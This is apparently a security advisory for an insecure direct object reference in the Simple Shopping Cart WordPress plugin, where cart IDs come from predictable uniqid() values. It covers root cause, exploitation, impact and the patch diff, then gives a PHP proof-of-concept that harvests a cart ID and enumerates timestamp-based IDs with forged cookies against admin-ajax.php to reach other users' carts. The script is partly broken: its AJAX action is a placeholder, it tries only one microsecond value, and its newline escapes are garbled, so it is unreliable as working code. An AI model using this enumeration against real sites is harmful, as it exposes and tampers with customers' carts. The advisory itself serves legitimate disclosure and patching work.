Atomic Edge analysis of CVE-2026-48868:
This is an Insecure Direct Object Reference (IDOR) vulnerability in the Simple Shopping Cart plugin for WordPress, versions 5.2.9 and earlier. The issue resides in the cart ID generation mechanism used to track shopping cart sessions. Unauthenticated attackers can exploit this by predicting or enumerating weak cart IDs to access other users’ shopping carts. The CVSS score is 5.3 (Medium).
Root Cause:
The vulnerability exists in the file `/includes/class-wpsc-cart.php` at line 98. The plugin uses PHP’s `uniqid()` function to generate cart IDs. This function generates predictable identifiers based on the current timestamp and microsecond precision. Without proper entropy or cryptographic randomness, an attacker can brute-force or predict valid cart IDs assigned to other users. The cart ID is stored in a cookie named `simple_cart_id` and is the sole identifier for associating a user’s cart with stored session data.
Exploitation:
An attacker can harvest one or more cart IDs generated by `uniqid()` from their own requests to understand the generation pattern. Then, they can enumerate nearby values based on timestamps. The attacker crafts HTTP requests with the `simple_cart_id` cookie set to a predicted value. Using a tool like cURL, they can send requests to the plugin’s cart-handling endpoints (such as the AJAX handler for cart operations) while forging the cookie. Successful guessing lets them view, modify, or delete items in another user’s cart.
Patch Analysis:
The patch, shown in the diff between versions 5.2.9 and 5.3.0, replaces the line `$cart_id = uniqid();` with `$cart_id = bin2hex(random_bytes(16));`. This generates a cryptographically secure random 32-character hexadecimal string. This change makes cart IDs unpredictable and unguessable, eliminating the IDOR attack surface. The old implementation was deterministic; the new one uses PHP’s secure random generator.
Impact:
Successful exploitation allows an unauthenticated attacker to access and manipulate other users’ shopping carts. This can lead to unauthorized viewing of cart contents (which may include personal data or pricing details), modification of items or quantities, and possibly initiating checkout with a victim’s cart. While direct financial fraud is limited by payment gateway validation, the attacker could cause disruptions or gain insights into customer behavior. There is no evidence of privilege escalation or remote code execution from this vulnerability alone.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wordpress-simple-paypal-shopping-cart/includes/class-wpsc-cart.php
+++ b/wordpress-simple-paypal-shopping-cart/includes/class-wpsc-cart.php
@@ -95,7 +95,7 @@
if ( $cart_cpt_id ) {
//Set the cookie with unique cart ID.
- $cart_id = uniqid();
+ $cart_id = bin2hex(random_bytes(16));
$cookie_expiration = time() + ( 86400 * 30 ); // 30 days
setcookie( 'simple_cart_id', $cart_id, $cookie_expiration, '/' );
--- a/wordpress-simple-paypal-shopping-cart/wp_shopping_cart.php
+++ b/wordpress-simple-paypal-shopping-cart/wp_shopping_cart.php
@@ -2,7 +2,7 @@
/*
Plugin Name: Simple Shopping Cart
-Version: 5.2.9
+Version: 5.3.0
Plugin URI: https://www.tipsandtricks-hq.com/wordpress-simple-paypal-shopping-cart-plugin-768
Author: Tips and Tricks HQ, Ruhul Amin, mra13
Author URI: https://www.tipsandtricks-hq.com/
@@ -17,7 +17,7 @@
exit;
}
-define( 'WP_CART_VERSION', '5.2.9' );
+define( 'WP_CART_VERSION', '5.3.0' );
define( 'WP_CART_FOLDER', dirname( plugin_basename( __FILE__ ) ) );
define( 'WP_CART_PATH', plugin_dir_path( __FILE__ ) );
define( 'WP_CART_URL', plugins_url( '', __FILE__ ) );
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48868 - Simple Shopping Cart <= 5.2.9 - Unauthenticated Insecure Direct Object Reference
// This PoC demonstrates predicting cart IDs generated by uniqid()
// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to your target
// Step 1: Get a sample cart ID from the server to understand the uniqid() pattern
$ch = curl_init($target_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => true,
CURLOPT_COOKIE => 'test=1', // Trigger immediate cookie set
]);
$response = curl_exec($ch);
preg_match('/Set-Cookie: simple_cart_id=([^;]+)/i', $response, $matches);
$sample_id = $matches[1] ?? null;
if (!$sample_id) {
die("Failed to get sample cart ID. Ensure the plugin is active and target URL is correct.");
}
echo "[+] Sample cart ID: $sample_idn";
// Step 2: Calculate the uniqid() prefix pattern
// uniqid() returns hex timestamp (8 chars) + hex microseconds (5 chars) = 13 chars
// Example: '67f8a1b2c3d4e' -> prefix is first 8 chars (timestamp)
$ts_hex = substr($sample_id, 0, 8);
$micro_hex = substr($sample_id, 8, 5);
$timestamp = hexdec($ts_hex);
echo "[+] Extracted timestamp: $timestamp (" . date('Y-m-d H:i:s', $timestamp) . ")n";
// Step 3: Generate candidate IDs around current time
$now = time();
$candidates = [];
for ($offset = -5; $offset <= 5; $offset++) {
$candidate_ts = $now + $offset;
$candidate_ts_hex = dechex($candidate_ts);
// Brute-force microsecond component (0x00000 to 0xFFFFF, but real range is 0-999999)
// For PoC, we try a few likely values
$candidates[] = $candidate_ts_hex . '00000'; // Just microsecond portion approximation
}
// Step 4: Attempt to access cart with predicted ID
foreach ($candidates as $idx => $cart_id) {
// For demonstration, we try to access a cart retrieval endpoint
// (Actual AJAX action depends on plugin implementation, example uses 'wpsc_cart_get')
$post_data = [
'action' => 'wpsc_cart_get', // Replace with actual AJAX action
'cart_id' => $cart_id
];
$ch = curl_init($target_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_COOKIE => "simple_cart_id=$cart_id"
]);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Trying cart_id: $cart_id (HTTP $http_code)n";
if ($http_code == 200 && !empty($result)) {
echo "[!] Possible valid cart found!n";
echo "Response: $resultn";
}
}
echo "[+] PoC completed.n";
